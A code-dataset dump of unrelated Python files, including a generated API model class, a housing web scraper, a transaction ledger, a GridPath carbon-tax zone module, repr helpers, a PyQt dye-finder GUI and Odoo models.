\"\"\"\n return self._deposit_contract_address\n\n @deposit_contract_address.setter\n def deposit_contract_address(self, deposit_contract_address):\n \"\"\"Sets the deposit_contract_address of this Dapp.\n\n The deposit contract Address, the example is NEW182.... # noqa: E501\n\n :param deposit_contract_address: The deposit_contract_address of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if deposit_contract_address is None:\n raise ValueError('Invalid value for `deposit_contract_address`, must not be `None`')\n else:\n if deposit_contract_address is not None:\n if len(deposit_contract_address) > 64:\n raise ValueError('Invalid value for `deposit_contract_address`, length must be less than or equal to `64`')\n if deposit_contract_address is not None:\n if len(deposit_contract_address) < 1:\n raise ValueError('Invalid value for `deposit_contract_address`, length must be greater than or equal to `1`')\n self._deposit_contract_address = deposit_contract_address\n\n @property\n def dapp_type_ids(self):\n \"\"\"Gets the dapp_type_ids of this Dapp. # noqa: E501\n\n The support dapp type list. # noqa: E501\n\n :return: The dapp_type_ids of this Dapp. # noqa: E501\n :rtype: list[int]\n \"\"\"\n return self._dapp_type_ids\n\n @dapp_type_ids.setter\n def dapp_type_ids(self, dapp_type_ids):\n \"\"\"Sets the dapp_type_ids of this Dapp.\n\n The support dapp type list. # noqa: E501\n\n :param dapp_type_ids: The dapp_type_ids of this Dapp. # noqa: E501\n :type: list[int]\n \"\"\"\n if dapp_type_ids is None:\n raise ValueError('Invalid value for `dapp_type_ids`, must not be `None`')\n self._dapp_type_ids = dapp_type_ids\n\n @property\n def dapp_category_id(self):\n \"\"\"Gets the dapp_category_id of this Dapp. # noqa: E501\n\n The dapp category ID. # noqa: E501\n\n :return: The dapp_category_id of this Dapp. # noqa: E501\n :rtype: int\n \"\"\"\n return self._dapp_category_id\n\n @dapp_category_id.setter\n def dapp_category_id(self, dapp_category_id):\n \"\"\"Sets the dapp_category_id of this Dapp.\n\n The dapp category ID. # noqa: E501\n\n :param dapp_category_id: The dapp_category_id of this Dapp. # noqa: E501\n :type: int\n \"\"\"\n if dapp_category_id is None:\n raise ValueError('Invalid value for `dapp_category_id`, must not be `None`')\n self._dapp_category_id = dapp_category_id\n\n @property\n def auth_login_callback(self):\n \"\"\"Gets the auth_login_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The auth_login_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._auth_login_callback\n\n @auth_login_callback.setter\n def auth_login_callback(self, auth_login_callback):\n \"\"\"Sets the auth_login_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param auth_login_callback: The auth_login_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if auth_login_callback is None:\n raise ValueError('Invalid value for `auth_login_callback`, must not be `None`')\n else:\n if auth_login_callback is not None:\n if len(auth_login_callback) > 64:\n raise ValueError('Invalid value for `auth_login_callback`, length must be less than or equal to `64`')\n if auth_login_callback is not None:\n if len(auth_login_callback) < 1:\n raise ValueError('Invalid value for `auth_login_callback`, length must be greater than or equal to `1`')\n self._auth_login_callback = auth_login_callback\n\n @property\n def pay_order_callback(self):\n \"\"\"Gets the pay_order_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The pay_order_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._pay_order_callback\n\n @pay_order_callback.setter\n def pay_order_callback(self, pay_order_callback):\n \"\"\"Sets the pay_order_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param pay_order_callback: The pay_order_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if pay_order_callback is None:\n raise ValueError('Invalid value for `pay_order_callback`, must not be `None`')\n else:\n if pay_order_callback is not None:\n if len(pay_order_callback) > 64:\n raise ValueError('Invalid value for `pay_order_callback`, length must be less than or equal to `64`')\n if pay_order_callback is not None:\n if len(pay_order_callback) < 1:\n raise ValueError('Invalid value for `pay_order_callback`, length must be greater than or equal to `1`')\n self._pay_order_callback = pay_order_callback\n\n @property\n def proof_submit_callback(self):\n \"\"\"Gets the proof_submit_callback of this Dapp. # noqa: E501\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :return: The proof_submit_callback of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._proof_submit_callback\n\n @proof_submit_callback.setter\n def proof_submit_callback(self, proof_submit_callback):\n \"\"\"Sets the proof_submit_callback of this Dapp.\n\n For Mobile Native DApp, it is redirect schema; For website DApp, it is callback url; For NewDApp, it is HEP-based url. # noqa: E501\n\n :param proof_submit_callback: The proof_submit_callback of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if proof_submit_callback is None:\n raise ValueError('Invalid value for `proof_submit_callback`, must not be `None`')\n else:\n if proof_submit_callback is not None:\n if len(proof_submit_callback) > 64:\n raise ValueError('Invalid value for `proof_submit_callback`, length must be less than or equal to `64`')\n if proof_submit_callback is not None:\n if len(proof_submit_callback) < 1:\n raise ValueError('Invalid value for `proof_submit_callback`, length must be greater than or equal to `1`')\n self._proof_submit_callback = proof_submit_callback\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x, 'to_dict') else x, value))\n else:\n if hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n else:\n if isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], 'to_dict') else item, value.items()))\n else:\n result[attr] = value\n\n if issubclass(Dapp, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Dapp):\n return False\n else:\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other","sub_path":"pycfiles/hep-rest-api-1.0.12.macosx-10.9-x86_64.tar/dapp.cpython-36.py","file_name":"dapp.cpython-36.py","file_ext":"py","file_size_in_byte":20490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"523781332","text":"from ..core import *\r\nfrom ..vparsers import *\r\nfrom ..utils import attributeerror_wrapper\r\n\r\n\r\nclass HegraParser(SingleWebpageParser):\r\n url = \"http://hegra-deweloper.pl/wyszukiwarka/\"\r\n method = \"GET\"\r\n params = {\r\n \"lokal\": \"0\",\r\n \"floor_from\": \"0\",\r\n \"floor_to\": \"6\",\r\n #\"investment\": \"4\",\r\n \"price_from\": \"100000\",\r\n \"price_to\": \"600000\",\r\n \"rooms_from\": \"1\",\r\n \"room_to\": \"5\",\r\n \"size_from\": \"30\",\r\n \"size_to\": \"120\"\r\n }\r\n \r\n schema = [\r\n DataUnit(label=\"Nazwa inwestycji\", parser=DOMTextExtractor(), id=\"_inv\"),\r\n DataUnit(label=\"Number\", parser=DOMTextExtractor(), id=\"number\"),\r\n DataUnit(label=\"Piętro\", parser=FloorParser(DOMTextExtractor()), id=\"floor\"),\r\n DataUnit(label=\"Pokoje\", parser=IntParser(DOMTextExtractor()), id=\"rooms\"),\r\n DataUnit(label=\"Pow.\", parser=AreaParser(DOMTextExtractor()), id=\"area\"),\r\n DataUnit(label=\"Cechy\", parser=NoneParser(), id=\"_none\"),\r\n DataUnit(label=\"Cena\", parser=PriceParser(DOMTextExtractor()), id=\"price\"),\r\n DataUnit(label=\"Termin\", parser=DOMTextExtractor(), id=\"_complete\"),\r\n DataUnit(label=\"Status\", parser=StatusParser(DOMTextExtractor()), id=\"status\"),\r\n DataUnit(label=\"Plan\", parser=LinkParser(DOMElementExtractor(\"a\")), id=\"plan\")\r\n ]\r\n \r\n def get_request_params(self):\r\n params = super().get_request_params()\r\n params[\"investment\"] = getattr(self, \"investment_id\", None)\r\n return params\r\n\r\n @attributeerror_wrapper(return_value=[])\r\n def find_records(self, soup):\r\n return soup.find(\"table\", {\"class\": \"flats-table\"}).find(\"tbody\")\\\r\n .find_all(\"tr\")\r\n \r\n def split_record(self, record):\r\n return record.find_all(\"td\")\r\n\r\n def modify_record(self, record, input_record=None):\r\n record[\"fid\"] = record[\"number\"]\r\n record[\"price\"] = self.adjust_price(record[\"price\"])\r\n return record\r\n\r\n @typeerror_wrapper(return_value=None)\r\n def adjust_price(self, price):\r\n return price*1000\r\n","sub_path":"parsers/hegra/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"477223748","text":"#!/usr/bin/python3\nclass Transaction:\n \"\"\"Transaction object\"\"\"\n def __init__(self,date,desc,type,amount,id):\n self.date = date\n self.desc = desc\n self.type = type\n self.amount = amount\n self.id = id\ndef trans_print(trans):\n print(trans.date,end='')\n print(trans.desc,end='')\n print(trans.type,end='')\n print(str(round(trans.amount,2)),end='')\n print(str(trans.id),end='')\n print()\ndef sum_trans(ledger):\n total = 0\n if not ledger:\n return total\n for trans in ledger:\n total += trans.amount\n return total\n","sub_path":"src/movement.py","file_name":"movement.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"371581680","text":"# Copyright 2021 (c) Crown Copyright, GC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nZones where carbon tax enforced; these can be different from the load\nzones and other balancing areas.\n\"\"\"\n\nimport csv\nimport os.path\nfrom pyomo.environ import Set\n\n\ndef add_model_components(m, d, scenario_directory, subproblem, stage):\n \"\"\"\n\n :param m:\n :param d:\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :return:\n \"\"\"\n\n m.CARBON_TAX_ZONES = Set()\n\n\ndef load_model_data(m, d, data_portal, scenario_directory, subproblem, stage):\n \"\"\"\n\n :param m:\n :param d:\n :param data_portal:\n :param scenario_directory:\n :param subproblem:\n :param stage:\n :return:\n \"\"\"\n data_portal.load(\n filename=os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"carbon_tax_zones.tab\",\n ),\n set=m.CARBON_TAX_ZONES,\n )\n\n\ndef get_inputs_from_database(scenario_id, subscenarios, subproblem, stage, conn):\n \"\"\"\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n subproblem = 1 if subproblem == \"\" else subproblem\n stage = 1 if stage == \"\" else stage\n c = conn.cursor()\n carbon_tax_zone = c.execute(\n \"\"\"SELECT carbon_tax_zone\n FROM inputs_geography_carbon_tax_zones\n WHERE carbon_tax_zone_scenario_id = {};\n \"\"\".format(\n subscenarios.CARBON_TAX_ZONE_SCENARIO_ID\n )\n )\n\n return carbon_tax_zone\n\n\ndef validate_inputs(scenario_id, subscenarios, subproblem, stage, conn):\n \"\"\"\n Get inputs from database and validate the inputs\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n pass\n # Validation to be added\n # carbon_tax_zone = get_inputs_from_database(\n # scenario_id, subscenarios, subproblem, stage, conn)\n\n\ndef write_model_inputs(\n scenario_directory, scenario_id, subscenarios, subproblem, stage, conn\n):\n \"\"\"\n Get inputs from database and write out the model input\n carbon_tax_zones.tab file.\n :param scenario_directory: string, the scenario directory\n :param subscenarios: SubScenarios object with all subscenario info\n :param subproblem:\n :param stage:\n :param conn: database connection\n :return:\n \"\"\"\n\n carbon_tax_zone = get_inputs_from_database(\n scenario_id, subscenarios, subproblem, stage, conn\n )\n\n with open(\n os.path.join(\n scenario_directory,\n str(subproblem),\n str(stage),\n \"inputs\",\n \"carbon_tax_zones.tab\",\n ),\n \"w\",\n newline=\"\",\n ) as carbon_tax_zones_file:\n writer = csv.writer(carbon_tax_zones_file, delimiter=\"\\t\", lineterminator=\"\\n\")\n\n # Write header\n writer.writerow([\"carbon_tax_zone\"])\n\n for row in carbon_tax_zone:\n writer.writerow(row)\n","sub_path":"gridpath/geography/carbon_tax_zones.py","file_name":"carbon_tax_zones.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"156837774","text":"\nimport re\nimport sys\nfrom collections import deque\nfrom queue import Queue\n\n\ndef isPythonReprFormat(filename):\n\ttry:\n\t\tf = open(filename, \"r\")\n\t\tfirstByte = f.read(1)\n\t\t# List, dict, tuple, string or number.\n\t\tif firstByte in \"[{(\\\"'0123456789-\":\n\t\t\treturn True\n\t\tf.seek(0)\n\t\tbeginning = f.read(100)\n\t\t# Maybe some identifier.\n\t\tif re.match(\"[_A-Za-z][_a-zA-Z0-9.]*\\(.*\", beginning):\n\t\t\treturn True\n\texcept UnicodeDecodeError:\n\t\treturn False\n\treturn False\n\ndef loadPythonReprFormat(filename, env=None, defaultConstructor=None):\n\tcode = open(filename, \"r\").read()\n\tif not env:\n\t\tenv = {}\n\telif isinstance(env, list):\n\t\tenv = dict([(o.__name__, o) for o in env])\n\telse:\n\t\tenv = dict(env)\n\tenv[\"loadQueue\"] = loadQueue\n\tif hasattr(defaultConstructor, \"__module__\"):\n\t\tenv.update(vars(sys.modules[defaultConstructor.__module__]))\n\telif hasattr(defaultConstructor, \"__name__\"):\n\t\tenv[defaultConstructor.__name__] = defaultConstructor\n\treturn eval(code, env)\n\n\ndef loadQueue(l):\n\tq = Queue()\n\tq.queue = q.queue.__class__(l)\n\treturn q\n\n\ndef betterRepr(o):\n\t# the main difference: this one is deterministic\n\t# the orig dict.__repr__ has the order undefined.\n\tif isinstance(o, list):\n\t\treturn \"[\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in o]) + \"]\"\n\tif isinstance(o, deque):\n\t\treturn \"deque([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in o]) + \"])\"\n\tif isinstance(o, Queue):\n\t\treturn \"loadQueue([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in list(o.queue)]) + \"])\"\n\tif isinstance(o, tuple):\n\t\treturn \"(\" + \", \".join(map(betterRepr, o)) + \")\"\n\tif isinstance(o, dict):\n\t\treturn \"{\\n\" + \"\".join([betterRepr(k) + \": \" + betterRepr(v) + \",\\n\" for (k,v) in sorted(o.items())]) + \"}\"\n\tif isinstance(o, set):\n\t\treturn \"set([\\n\" + \"\".join([betterRepr(v) + \",\\n\" for v in sorted(o)]) + \"])\"\n\t# fallback\n\treturn repr(o)\n","sub_path":"PyReprHelpers.py","file_name":"PyReprHelpers.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"150581494","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def countNodes(self, root: Optional[TreeNode]) -> int:\n if not root:\n return 0\n l, r = root, root\n hl, hr = 0, 0\n\n while l:\n l = l.left\n hl += 1\n while r:\n r = r.right\n hr += 1\n if hl == hr:\n # 满二叉树 节点数\n return 2 ** (hr) - 1\n\n # 普通二叉树节点数\n return 1 + self.countNodes(root.left) + self.countNodes(root.right)\n","sub_path":"python/222. 完全二叉树的节点个数.py","file_name":"222. 完全二叉树的节点个数.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"122543768","text":"import xlrd \nfrom .models import Equipamento\nfrom my_project.core.models import Lojas\nimport os\n\ndef xlsx():\n filename = os.path.join(os.path.dirname(os.path.dirname(__file__)),'1.xlsx')\n\n worbook = xlrd.open_workbook(filename)\n sheet = worbook.sheet_by_index(0)\n\n\n fields = ('Nome', 'Modelo', 'Serie', 'Patrimonio', 'Status','Setor', 'Filial', 'Obs')\n\n aux = []\n\n for row in range(1, sheet.nrows):\n nome = sheet.row(row)[0].value\n modelo = sheet.row(row)[1].value\n serie = sheet.row(row)[2].value\n patrimonio = sheet.row(row)[3].value\n status = sheet.row(row)[4].value\n setor = sheet.row(row)[5].value\n filial = sheet.row(row)[6].value\n obs = sheet.row(row)[7].value\n pk = sheet.row(row)[8].value\n\n if status == 'TRUE':\n status = True\n elif status == 'FALSE':\n status = False\n\n\n lista = Equipamento(name=nome, \n modelo=modelo, \n serial=serie, \n patrimonio=patrimonio, \n backup=status,\n setor=setor, \n loja=Lojas.object.get(numero=filial), \n obs=obs)\n aux.append(lista)\n \n #Equipamento.object.bulk_create(aux)\n\n\n\n","sub_path":"my_project/estoque/import_produtosxlsxx.py","file_name":"import_produtosxlsxx.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"518888708","text":"from fbs_runtime.application_context.PyQt5 import ApplicationContext\nfrom rgbfinder import RGBFinder\nfrom PyQt5.QtWidgets import QTableWidget, QWidget, QVBoxLayout, QLabel, QAbstractItemView, QHBoxLayout, \\\n QSlider, QGridLayout, QGroupBox, QCheckBox, QHeaderView, QPushButton, QProgressBar, QTableWidgetItem, QDialog, QDialogButtonBox\nfrom PyQt5.QtGui import QIcon, QPixmap, QImage, QBrush, QColor\nfrom PyQt5.QtCore import Qt, QThread, QTimer, QSettings\nfrom functools import partial\n\n\nclass Window(QWidget):\n def __init__(self):\n super(Window, self).__init__()\n self.setWindowTitle(\"Vindictus Dye Finder\")\n self.image_label = None\n self.table = None\n self.layout = None\n self.rgb_finder = None\n\n self.init_image()\n self.init_table()\n self.set_layout()\n self.show()\n self.setFixedSize(self.layout.sizeHint())\n\n def set_layout(self):\n settings_button_box = self.make_settings_button_box()\n bot_box = self.make_bot_box()\n\n self.layout = QVBoxLayout()\n self.layout.setAlignment(Qt.AlignTop)\n self.layout.addSpacing(-12)\n self.layout.addLayout(settings_button_box)\n self.layout.addWidget(bot_box)\n\n self.setLayout(self.layout)\n\n def make_bot_box(self):\n bot_layout = QHBoxLayout()\n\n bot_layout.addWidget(self.image_label)\n bot_layout.addWidget(self.table)\n bot_box = QGroupBox()\n bot_box.setLayout(bot_layout)\n return bot_box\n\n def show_preferences(self):\n print(\"pref\")\n\n def make_settings_button_box(self):\n settings_button = QPushButton()\n # Gear icon is from: https://iconscout.com/icon/gear-222\n style_sheet = \"\"\"\n QPushButton {\n qproperty-icon: url(\" \");\n qproperty-iconSize: 15px 15px;\n border-image: url(\"resources/Gear.svg\");\n background-color: rgba(255, 255, 255, 0);\n }\n\n QPushButton:hover {\n border-image: url(\"resources/SelectedGear.svg\");\n }\"\"\"\n settings_button.setStyleSheet(style_sheet)\n # settings_button.setStyleSheet(\"background-color: rgba(0, 0, 0, 255); font-size: 23px;\")\n settings_button.clicked.connect(self.show_preferences)\n settings_button.setFixedWidth(30)\n settings_button.setFixedHeight(30)\n\n settings_button_hb = QHBoxLayout()\n settings_button_hb.setAlignment(Qt.AlignRight)\n settings_button_hb.addWidget(settings_button)\n settings_button_hb.addSpacing(-11)\n return settings_button_hb\n\n def init_table(self):\n self.table = QTableWidget(7, 6)\n self.table.setHorizontalHeaderLabels(['Color', 'Name', 'Red', 'Green', 'Blue', 'Move Mouse'])\n self.table.setEditTriggers(QAbstractItemView.NoEditTriggers)\n header = self.table.horizontalHeader()\n for i in range(6):\n header.setSectionResizeMode(i, QHeaderView.ResizeToContents)\n header.setSectionResizeMode(1, QHeaderView.Stretch)\n self.table.setFixedWidth(300)\n\n def insert_colors(self,colors):\n # [\"black\", 25, 25, 25, 765, 0, 0]\n for i in range(len(colors)):\n color = colors[i]\n brush = QBrush(QColor(color[1],color[2],color[3],255))\n colored_item = QTableWidgetItem()\n colored_item.setBackground(brush)\n self.table.setItem(i, 0, colored_item)\n for j in range(1, 5):\n self.table.setItem(i, j, QTableWidgetItem(str(colors[i][j-1])))\n button = QPushButton(\"({},{})\".format(color[5], color[6]))\n button.clicked.connect(partial(self.move_mouse, color[5], color[6]))\n layout = QHBoxLayout()\n layout.addWidget(button)\n layout.setAlignment(Qt.AlignTop)\n layout.setContentsMargins(0, 0, 0, 0)\n widget = QWidget()\n widget.setLayout(layout)\n self.table.setCellWidget(i, 5, widget)\n\n def move_mouse(self, x, y):\n #print(\"moved mouse to {},{}\".format(x, y))\n self.rgb_finder.move_mouse(x, y)\n\n def init_image(self):\n self.image_label = QLabel()\n image = QPixmap('resources\\\\screencap.bmp')\n self.image_label.setPixmap(image)\n\n def set_rgb_finder(self, rgb_finder):\n self.rgb_finder = rgb_finder\n\n\nclass App:\n def run(self):\n app_ctx = ApplicationContext()\n window = Window()\n rgb_finder = RGBFinder(window)\n rgb_finder.run()\n return app_ctx.app.exec_()\n\n\nif __name__ == \"__main__\":\n app = App()\n app.run()","sub_path":"src/main/python/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"186532377","text":"from typing import Union, cast\n\nimport kachery_client as kc\nimport numpy as np\nfrom ..surface.vtk_to_mesh_dict import vtk_to_mesh_dict\n\n\nclass Surface:\n def __init__(self, arg: Union[dict, str]):\n if isinstance(arg, str):\n x = kc.load_json(arg)\n if not x:\n raise Exception(f'Unable to load: {arg}')\n arg = cast(dict, x)\n self._load(arg)\n self._arg = arg\n def serialize(self):\n return self._arg\n @property\n def vertices(self) -> np.ndarray: # n x 3\n return self._vertices\n @property\n def num_vertices(self):\n return self.vertices.shape[1]\n @property\n def num_faces(self):\n return len(self.ifaces)\n @property\n def faces(self) -> np.ndarray:\n return self._faces\n @property\n def ifaces(self) -> np.ndarray:\n return self._ifaces\n def _load(self, arg: dict):\n format = arg.get('surface_format')\n data = arg.get('data', {})\n if format == 'pkl_v1':\n pkl_uri = data['pkl_uri']\n x = kc.load_pkl(pkl_uri)\n if x is None:\n raise Exception(f'Unable to load: {pkl_uri}')\n self._vertices = x['vertices']\n self._faces = x['faces']\n self._ifaces = x['ifaces']\n else:\n raise Exception(f'Unexpected surface format: {format}')\n @staticmethod\n def from_numpy(*, vertices: np.ndarray, faces: np.ndarray, ifaces: np.ndarray):\n # vertices: n x 3\n # faces: m\n # ifaces: k\n print(vertices.shape)\n assert vertices.shape[1] == 3\n return Surface({\n 'surface_format': 'pkl_v1',\n 'data': {\n 'num_vertices': vertices.shape[0],\n 'num_faces': len(ifaces),\n 'pkl_uri': kc.store_pkl({\n 'vertices': vertices.astype(np.float32),\n 'faces': faces.astype(np.int32),\n 'ifaces': ifaces.astype(np.int32)\n })\n }\n })\n @staticmethod\n def from_vtk_unstructured_grid(vtk_uri: str):\n vtk_path = kc.load_file(vtk_uri)\n if vtk_path is None: raise Exception(f'Unable to load file: {vtk_uri}')\n x = vtk_to_mesh_dict(vtk_path, format='UnstructuredGrid', base64=False)\n vertices = np.array(x['vertices'], dtype=np.float32).T\n faces = np.array(x['faces'], dtype=np.int32)\n ifaces = np.array(x['ifaces'], dtype=np.int32)\n return Surface.from_numpy(vertices=vertices, faces=faces, ifaces=ifaces)","sub_path":"src/python/surfaceview3/surface/surface.py","file_name":"surface.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"496045484","text":"import csv\n\n\ndef check(x):\n '''Проверка чисел'''\n if x[0].isdigit():\n price = int(x.replace(' ', ''))\n else:\n price = x\n return price\n\n\ndef _amount(x, y):\n \"\"\"Среднее арифметрическое чисел\"\"\"\n amount = x / y\n return amount\n\n\ndef main():\n## raion = input()\n raion = input()\n List_new = []\n FILENAME = \"file.csv\"\n with open(FILENAME, \"r\") as file:\n reader = csv.reader(file)\n ## for row in reader:\n ## print(row[0])\n\n ## print(*reader)\n\n ## for row in reader:\n ## prn = row[0].split(';')\n ## if len(prn[0])<7 :\n ## prn[0] +=' '\n ## print('* '+prn[0]+'\\t', 5+int(prn[13].replace(' ','')) if prn[13][0].isdigit() else prn[13] )\n for row in reader:\n prn = row[0].split(';')\n List_new.append(prn)\n for row in List_new:\n print(row)\n\n print('-----------------------------')\n\n for row in List_new:\n if row[0] == str(raion):\n print(row)\n\n print('-----------------------------')\n\n # for row in List_new:\n # if len(row[0]) < 7:\n # row[0] += ' '\n # print('* ' + row[0] + '\\t', 5 + int(row[13].replace(' ', '')) if row[13][0].isdigit() else row[13])\n\n for row in List_new:\n if len(row[0]) < 5:\n row[0] += ' '\n price = check(row[13])\n square = check(row[8])\n # if row[13][0].isdigit():\n # price = int(row[13].replace(' ', ''))\n # else:\n # price = row[13]\n print('* ', row[0]+'\\t', str(price)+'\\t', square)\n\n print('-----------------------------')\n D = 0\n for r in List_new:\n if r[0] == str(raion):\n price_square = int(r[13]) / int(r[8])\n D += 1\n print(r[0], ': Цена за квадратный метр', price_square)\n print('Количество найденых квартир: ', D)\n\n\nif __name__=='__main__':\n main()","sub_path":"project_7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"436623969","text":"from odoo import models, fields, api\n\nclass HistorySecurityType(models.Model):\n _name = 'flight.aircraft.history.securitytype'\n _description = 'flight.aircraft.history.securitytype'\n\n tipo_seguro_id = fields.Many2one(string='Tipo de Seguro', comodel_name='flight.items',\n ondelete='restrict', domain=\"[('catalogo_id', '=', 8)]\",)\n\n radiograma_seguro= fields.Char(string=\"Radiograma de Cambio de Seguro\" ,size=70)\n\n observacion_seguro= fields.Text(string=\"Observaciones del seguro\" , size=250 )\n\n equipamento_adicional= fields.Text(string=\"Equipamento Adicional\" , size=250 )\n \n aeronave_id = fields.Many2one(string='Aeronave', comodel_name='flight.aircraft', ondelete='cascade',)\n \n\n warning = { 'title': 'Advertencia!', 'message' : 'Your message.' }\n\n\nclass HistoryEquipment(models.Model):\n _name = 'flight.aircraft.history.equipment'\n _description = 'flight.aircraft.history.equipment' \n\n equipamento_adicional= fields.Text(string=\"Equipamento Adicional\" , size=250 )\n aeronave_id = fields.Many2one(string='Aeronave', comodel_name='flight.aircraft', ondelete='cascade',)\n \n \n \n\n\n\n ","sub_path":"models/flight_historico.py","file_name":"flight_historico.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"340114338","text":"# -*- encoding: utf-8 -*-\nimport pilasengine\nfrom os import listdir\nimport os\n\npilas = pilasengine.iniciar()\n\nclass Seleccion(pilasengine.escenas.Escena):\n\n def iniciar(self):\n self.pilas.fondos.Tarde()\n t = self.pilas.actores.Texto(u\"LISTADO DE HISTORIAS\")\n t.y = +200\n self.pilas.eventos.pulsa_tecla_escape.conectar(self._regresar)\n\n path = 'cuentos/'\n lista_cuentos = listdir(path)\n cuentos = []\n\n# opciones = pilas.interfaz.ListaSeleccion(f, cuando_selecciona)\n for cuento in lista_cuentos:\n o = (cuento,pilas.escenas.CuentosPersonalizado(cuento))\n cuentos.append(o)\n\n\n self.menu = self.pilas.actores.Menu(cuentos)\n\n\n def sinopsis(self):\n self.pilas.escenas.EscenaSinopsis()\n\n def _regresar(self, evento):\n self.pilas.escenas.EscenaMenu()\n\n #def cuando_selecciona(opcion_seleccionada):\n # pilas.avisar(\"Ha seleccionado la opcion: \" + opcion_seleccionada)\n\n #def imprimir_historias(self):\n # path = 'cuentos/'\n # file = listdir(path)\n\n # for f in file:\n # texto = pilas.actores.Texto(f)\n # texto1 = pilas.actores.TextoInferior(f)\n # texto1.color = pilas.colores.verde\n # texto.color = pilas.colores.azul\n # pilas.avisar(str(f))\n # print(f)\n","sub_path":"tp_final/escena_seleccion.py","file_name":"escena_seleccion.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
